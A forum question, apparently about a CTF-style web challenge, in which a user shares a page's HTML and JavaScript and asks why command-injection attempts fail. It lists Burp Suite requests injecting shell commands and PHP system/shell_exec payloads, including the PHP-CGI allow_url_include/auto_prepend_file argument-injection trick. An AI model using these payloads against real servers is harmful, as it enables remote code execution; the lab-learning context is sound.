0

The following code demonstrates the source code of this challenge and basically, I need to send a post request with arbitrary code to execute on the server. However, after multiple attempts Im unable to run any bash with the http request? What am I doing wrong here?

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Level 5</title>
    <link href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap.min.css" rel="stylesheet">
    <link href="http://netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap-theme.min.css" rel="stylesheet">
    <link href="site.css" rel="stylesheet">
    <script src="sn.js"></script>
  </head>

<body>
  <div class="container">
    <div class="page-header">
      <h1>Try This</h1>
      <p class="lead">
        <h2>Bash & Shell</h2>
      </p>

    <form class="navbar-form navbar-left" role="editvar" id="envform">
          <div class="form-group">
            <input type="text" class="form-control" placeholder="value" name="filter" onkeydown="testForEnter();">
          </div>
          <button type="button" class="btn btn-default" onclick="sendvalue(this.form.filter.value)">Submit</button>
    </form>
    <br>
    </div>
    <div id="envlist">
      <pre>Waiting for variable...</pre>
    </div>
  </div>
<script language="JavaScript">
  function testForEnter() {
    if (event.keyCode == 13)
    {
      event.cancelBubble = true;
      event.returnValue = false;
           }
  }

var http_request = false;

  function getenv(newvalue) {
    if (window.XMLHttpRequest) { // non IE
      http_request = new XMLHttpRequest();
    }
    else if (window.ActiveXObject) { //
      try {
        http_request = new ActiveXObject("Microsoft.XMLHTTP");
      }
      catch (error) {}
    }
    if (!http_request) {
      alert('Cannot create XML HTTP instance');
      return false;
    }

    http_request.onreadystatechange = stateManager;
    var myurl = "cgi-bin/env.php";

    myurl = myurl + "?filter=" +  sanitize(newvalue);

    http_request.open("GET", myurl, true);
    http_request.send(null);
  }

  function stateManager() {
    if (http_request.readyState == 4) {
      if (http_request.status == 200) {
        updatepage(http_request.responseText);
      } else {
        alert('There was a problem with the request.');
      }
    }
  }

  function updatepage(str) {
    document.getElementById("envlist").innerHTML = str;
  }

  function sendvalue(newvalue) {
    getenv(newvalue)
  }

</script>
</body>
</html>

Server Ip: 192.168.52.97

Link to the index page: http://192.168.52.97/eiw8a

php page: http://192.168.52.97/eiw8a/cgi-bin/test.php

known parameter: ?fitler=

Attempt 1 (burp suite repeater):

Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?filter=%26ls -l

Attempt 2 (burp suite repeater):

Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?filter=%26<?php echo shell_exec(ls); ?>

Attempt 3 (burp suite repeater):

Http Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?

Http Content:
<?php system(ls); ?>

Attempt 4 (burp suite repeater):

Http Header:
POST http://192.168.52.97/eiw8a/cgi-bin/test.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

Http Content:
<?php system(ls); ?>
3
  • Please post your attempts. Also, please don't include screenshots of text - paste the text instead.
    – user163495
    Mar 3 at 0:47
  • @MechMK1 Thanks for your suggestion, I have made changes accordingly
    – UkaChan
    Mar 3 at 1:30
  • The code is referencing cgi-bin/env.php not test.php, perhaps you need to send the payload to env.php instead?
    – wireghoul
    Mar 4 at 0:03

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.